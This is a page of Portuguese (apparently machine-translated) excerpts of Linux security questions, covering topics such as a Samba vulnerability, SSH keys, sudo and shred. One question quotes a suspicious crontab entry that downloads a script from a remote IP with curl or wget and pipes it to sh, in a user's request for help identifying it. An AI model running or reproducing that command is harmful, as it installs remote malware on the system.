Perguntas com a marcação «security»

De acordo com um artigo do rapid7, existem algumas versões vulneráveis ​​do Samba que permitem a execução remota de código nos sistemas Linux: Embora o ransomworm do WannaCry tenha impactado os sistemas Windows e seja facilmente identificável, com etapas claras de correção, a vulnerabilidade do Samba afetará os sistemas Linux …

73 linux  security  linux-kernel  samba 

Eu deveria estar acessando um servidor para vincular os servidores intermediários e ativos de uma empresa ao nosso ciclo de implantação. Um administrador do lado deles configurou as duas instâncias e, em seguida, criou um usuário no servidor para o SSH como. Estou acostumado com isso. Na minha opinião, o …

73 ssh  security  key-authentication  administration 

Minha máquina é um servidor, por isso quero ignorar as conexões que estão sendo feitas com meu servidor (por exemplo, quando alguém visita meu site). Quero ver apenas conexões / solicitações sendo feitas pelo meu servidor para outros lugares. Como vejo apenas essas conexões de saída? Edição: Eu sou novo …

71 command-line  networking  shell-script  security 

Percebi há algum tempo que nomes de usuário e senhas dados curlcomo argumentos de linha de comando não aparecem na pssaída (embora, é claro, eles possam aparecer no seu histórico do bash). Da mesma forma, eles não aparecem /proc/PID/cmdline. (Porém, a duração do argumento combinado de nome de usuário / …

68 security  password  curl  ps  arguments 

Estamos com um pequeno problema em um servidor. Queremos que alguns usuários sejam capazes de, por exemplo, sudotornar-se root, mas com a restrição de que o usuário não pode alterar a senha root. Ou seja, uma garantia de que ainda podemos fazer login no servidor e nos tornarmos root, independentemente …

66 ubuntu  security  sudo 

Existe alguma maneira de impedir que um comando seja adicionado ao seu histórico? Tenho um comando que quero manter fora do meu arquivo de histórico e realmente não me importo de tê-lo lá quando pesquiso o histórico armazenado na memória, embora isso seja menos preocupante. Existe alguma maneira de evitar …

65 bash  security  zsh  command-history 

Atualmente, trabalho remotamente para várias organizações que precisam que eu acesse seus servidores regularmente para manutenção e atualizações. É seguro adicionar minha chave SSH pública do RSA ao .ssh/authorized_keysarquivo para permitir o login muito mais rápido / sem ter que procurar senhas? Opero sob a presunção de que seria impossível …

60 ssh  security  key-authentication 

Estou tentando mover algumas pastas (como /vare /home) para uma partição separada depois de ler este guia: 3.2.1 Escolha um esquema de partição inteligente Consegui mover uma pasta com sucesso, seguindo este guia. No entanto, parece não funcionar para várias pastas, e todas as minhas pastas são despejadas na partição …

59 debian  security  partition  fstab 

Eu queria adicionar algo ao meu arquivo crontab raiz no meu Raspberry Pi e encontrei uma entrada que me parece suspeita, procurar por partes dele no Google não resultou em nada. Entrada do Crontab: */15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh O …

59 security  cron  malware 

Estou executando o Chromium assim: chromium --no-sandbox Estou fazendo isso porque estou executando o Debian Squeeze em um OpenVZ VM Container e é a única maneira de fazê-lo funcionar. Embora eu continue lendo isso é terrível . Mas eu quero saber exatamente o porquê. Alguém pode por favor explicar isso …

54 security  chrome  browser  sandbox 

Isso é mais curiosidade ociosa do que qualquer outra coisa. Um amigo meu me perguntou: 'qual é o intervalo de portas que somente o root pode usar no Linux?' Eu disse a ele que 0-1024 eram restritos. Então ele me perguntou por que era assim e ... eu estava perdida. …

53 networking  security  root  tcp 

Meu arquivo .muttrc é semelhante a este ou veja abaixo um vislumbre. Estou hesitante com a senha. Como devo armazenar minha senha para usá-la mutt? set imap_user = "username@gmail.com" set imap_pass = "password" set smtp_url = "smtp://username@smtp.gmail.com:587/" set smtp_pass = "password" set from = "username@gmail.com" set realname = "Your Real …

52 security  mutt 

Eu gerei e baixei uma .pemchave privada da AWS. No entanto, para usar o Putty para conectar-se à máquina virtual, devo ter essa chave no .ppkformato. O processo de conversão é detalhado em aproximadamente 20 linhas aqui: http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/get-set-up-for-amazon-ec2.html#prepare-for-putty Estou usando o Linux Mint (uma distribuição do Ubuntu) e sei que …

49 ssh  linux-mint  security  putty  amazon-ec2 

Eu tenho um processo que escuta duas portas: 45136 / tcp e 37208 / udp (na verdade, eu suponho que seja o mesmo processo). Mas o netstat não retorna nenhum pid: netstat -antlp | grep 45136 tcp 0 0 0.0.0.0:45136 0.0.0.0:* LISTEN - Mesmo resultado com "grep 37208". Eu também …

47 networking  security  process 

Eu tenho uma árvore de diretórios que gostaria de destruir com o utilitário 'shred' do Linux. Infelizmente, o shred não tem -Ropção para o shredding recursivo. Como posso destruir uma árvore de diretórios inteira recursivamente?

47 security  rm  data-destruction